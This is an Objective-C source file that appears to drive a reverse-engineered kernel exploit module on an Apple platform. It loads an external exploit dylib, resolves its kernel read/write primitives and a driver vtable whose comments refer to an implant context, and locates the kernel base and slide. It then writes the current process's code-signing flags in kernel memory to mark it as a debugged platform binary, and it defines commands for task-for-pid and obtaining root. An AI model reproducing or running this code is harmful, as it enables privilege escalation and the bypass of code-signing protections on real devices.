@import Darwin;
@import MachO;
@import Foundation;

#define CS_GET_TASK_ALLOW           0x00000004  /* has get-task-allow entitlement */
#define CS_HARD                     0x00000100  /* don't load invalid pages */
#define CS_KILL                     0x00000200  /* kill process if it becomes invalid */
#define CS_PLATFORM_BINARY          0x04000000    /* this is a platform binary */
#define CS_DEBUGGED                 0x10000000  /* process is currently or has previously been debugged and allowed to run with invalid pages */

#define DRIVER_CMD_TASK_CSFLAGS_MARK_VALID 12
#define DRIVER_CMD_TASK_CSFLAGS_JIT_ENABLE 15
#define DRIVER_CMD_TASK_CSFLAGS_JIT_DISABLE 19
#define DRIVER_CMD_TASK_GET_ROOT 26
#define DRIVER_CMD_TASK_FOR_PID 0xc000001d

//typedef struct {
//    uint8_t __unk[7520];
//} krw_ctx_t;

typedef struct struct_krwCtx // sizeof=0x1D50
{
    uint32_t flags;
    uint8_t gap4[168];
    uint32_t threadForKernelRead;
    uint8_t gap42[144];
    int xnuMajorVersion;
    uint8_t gap144[20];
    uint64_t someLargeNumber;
    uint8_t gap160[8];
    int stride168;
    int gap16C[7];
    uint64_t pageMask;
    uint8_t gap190[136];
    uint64_t gap190u;
    uint8_t gap190_[56];
    int isRW;
    struct mach_timebase_info timebase;
    mach_port_t semaphore;
    pthread_mutex_t someMutex;
    uint32_t someInt1;
    uint32_t someInt2;
    uint64_t gap19100[16];
    pthread_mutex_t someMutex2;
    uint64_t gap191[695];
    uint32_t gap1909;
    uint32_t gap1910;
    uint32_t gap1911[2];
    uint32_t gap1913;
    uint32_t gap1914;
    uint32_t gap1915;
    uint32_t gap1916;
    uint64_t gap192[16];
    uint64_t machHeaderPlus0x8000;
    uint64_t gap19210;
    uint64_t gap19211;
    uint64_t slideMaybe;
    uint64_t gap1921[108];
    uint64_t IOKitConnInfo;
} krw_ctx_t;

typedef struct module_vtable module_vtable_t;
typedef int (*driver_init_t)(module_vtable_t *vtable, uint64_t arg1, krw_ctx_t **ctx_out);
typedef int (*driver_free_t)(module_vtable_t *vtable);
typedef int (*driver_close_t)(module_vtable_t *vtable, krw_ctx_t *ctx);
typedef uint64_t (*driver_dispatch_command_t)(module_vtable_t *vtable, krw_ctx_t *ctx, uint64_t cmd, void *args);
typedef struct module_vtable {
    /* +0x00 */ uint16_t version;              /* must be 2 */
    /* +0x02 */ uint16_t num_funcs;            /* must be >= 2 */
    /* +0x04 */ uint32_t _pad;
    /* +0x08 */ void *context;                 /* back-pointer to implant_ctx */
    /* +0x10 */ driver_free_t free;            /* deinit (0x12dfc) */
    /* +0x18 */ driver_init_t init;/* init (0x12e3c) */
    /* +0x20 */ driver_close_t close;            /* 0x12e58 */
    /* +0x28 */ driver_dispatch_command_t dispatch_command;            /* 0x12e74 */
    /* +0x30 */ void *trampoline_4;            /* 0x12e90 */
    /* +0x38 */ void *trampoline_5;            /* 0x12eac */
    /* +0x40 */ void *trampoline_6;            /* 0x12ec8 */
    /* +0x48 */ void *trampoline_7;            /* 0x12ee4 */
} module_vtable_t;
typedef int (*driver_fn_t)(module_vtable_t **);

typedef int (*driver_kreadbuf)(void *ctx, uint64_t address, mach_vm_size_t size, void *valueOut);
typedef int (*driver_kwritebuf)(void *ctx, uint64_t address, const void *value, mach_vm_size_t size);
typedef uint64_t (*driver_task_csflags_kaddr)(krw_ctx_t *ctx, mach_port_t task_port);
krw_ctx_t *global_ctx;
driver_kreadbuf kread_buf_internal;
driver_kwritebuf kwrite_buf_internal;
uint64_t kernelbase, slide;

int kreadbuf(uint64_t addr, void *data, size_t size) {
    kread_buf_internal(global_ctx, addr, size, data);
//    NSLog(@"kreadbuf addr=0x%llx size=%zu", addr, size);
//
//    uint8_t *bytes = data;
//    NSMutableString *hex = [NSMutableString string];
//
//    for (size_t i = 0; i < size; i++) {
//        [hex appendFormat:@"%02x ", bytes[i]];
//    }
//
//    NSLog(@"data: %@", hex);
    
    return 0;
}
int kwritebuf(uint64_t addr, const void *data, size_t size) {
    kwrite_buf_internal(global_ctx, addr, data, size);
//    
//    NSLog(@"kwritebuf addr=0x%llx size=%zu", addr, size);
//
//    uint8_t *bytes = data;
//    NSMutableString *hex = [NSMutableString string];
//
//    for (size_t i = 0; i < size; i++) {
//        [hex appendFormat:@"%02x ", bytes[i]];
//    }
//
//    NSLog(@"data: %@", hex);
    
    return 0;
}

//uint64_t kread_ptr(uint64_t addr) {
//    uint64_t ptr = 0;
//    kread_ptr_internal(global_ctx, addr, &ptr);
//    return ptr;
//}

uint8_t kread8(uint64_t addr) {
    uint8_t value = 0;
    kreadbuf(addr, &value, 1);
    return value;
}

uint16_t kread16(uint64_t addr) {
    uint16_t value = 0;
    kreadbuf(addr, &value, 2);
    return value;
}

uint32_t kread32(uint64_t addr) {
    uint32_t value = 0;
    kreadbuf(addr, &value, 4);
    return value;
}

uint64_t kread64(uint64_t addr) {
    uint64_t value = 0;
    kreadbuf(addr, &value, 8);
    return value;
}

void kwrite8(uint64_t addr, uint8_t value) {
    kwritebuf(addr, &value, 1);
}

void kwrite16(uint64_t addr, uint16_t value) {
    kwritebuf(addr, &value, 2);
}

void kwrite32(uint64_t addr, uint32_t value) {
    kwritebuf(addr, &value, 4);
}

void kwrite64(uint64_t addr, uint64_t value) {
    kwritebuf(addr, &value, 8);
}


int csops(int, int, void*, int);
int main(int argc, char *argv[], char *envp[]) {
    
    void *handle = //dlopen("@loader_path/kernel_exploit.dylib", RTLD_GLOBAL);
    dlopen("@loader_path/entry1_type0x09.dylib", RTLD_GLOBAL);
    if(!handle) {
        fprintf(stderr, "dlopen failed: %s\n", dlerror());
        return 1;
    }
    kread_buf_internal = (driver_kreadbuf)dlsym(handle, "krw_read_thunk");
    kwrite_buf_internal = (driver_kwritebuf)dlsym(handle, "kwritebuf_universal");
    if (!kread_buf_internal || !kwrite_buf_internal) {
        fprintf(stderr, "dlsym rw failed: %s\n", dlerror());
        return 1;
    }
    
    driver_fn_t driver_fn = (driver_fn_t)dlsym(handle, "driver");
    if (!driver_fn) {
        fprintf(stderr, "dlsym failed: %s\n", dlerror());
        return 1;
    }
    
    module_vtable_t *vtable_out = NULL;
    int dr = driver_fn(&vtable_out);
    if (dr != 0 || !vtable_out) {
        fprintf(stderr, "driver_fn failed: %d\n", dr);
        return 1;
    }
    
    // init
    dr = vtable_out->init(vtable_out, 0, &global_ctx);
    if (!global_ctx) {
        fprintf(stderr, "driver->init failed: %d\n", dr);
        return 1;
    }
    printf("Driver initialized, ctx: %p\n", global_ctx);
    
    
    printf("slideMaybe=0x%x\n", global_ctx->slideMaybe);
    
    kernelbase = global_ctx->machHeaderPlus0x8000 - 0x8000;
    slide = kernelbase - 0xfffffff007004000;
    
    NSLog(@"kernel base: 0x%llx\n", kernelbase);
    NSLog(@"kernel slide: 0x%llx\n", slide);
    uint64_t val = kread64(kernelbase);
    printf("Kernel header: 0x%llx\n", val);
    
    // CS_DEBUGGED|CS_VALID
    int pid = getpid();
    struct { int32_t pid; mach_port_t port; } args = { .pid = pid };
    vtable_out->dispatch_command(vtable_out, global_ctx, DRIVER_CMD_TASK_FOR_PID, &args);

    uint32_t flags;
    csops(pid, 0, &flags, sizeof(flags));
    printf("csops before modify: 0x%x\n", flags);
    
    driver_task_csflags_kaddr task_csflags_kaddr = (driver_task_csflags_kaddr)dlsym(handle, "get_task_csflags_kaddr");
    if (!task_csflags_kaddr) {
        fprintf(stderr, "dlsym task_csflags_kaddr failed: %s\n", dlerror());
        return 1;
    }
    uint64_t addr = task_csflags_kaddr(global_ctx, args.port);
    flags = kread32(addr);
    printf("csops read from krw: 0x%x\n", flags);
    
    //flags &= ~(CS_KILL | CS_HARD);
    flags |= CS_GET_TASK_ALLOW | CS_DEBUGGED | CS_PLATFORM_BINARY;
    printf("writing: 0x%x\n", flags);
    
    kwrite32(addr, flags);
    //vtable_out->dispatch_command(vtable_out, global_ctx, DRIVER_CMD_TASK_CSFLAGS_JIT_ENABLE, (void *)args.port);
    
    csops(pid, 0, &flags, sizeof(flags));
    printf("csops after modify: 0x%x\n", flags);
    
    // de-init
    vtable_out->close(vtable_out, global_ctx);
    vtable_out->free(vtable_out);
}
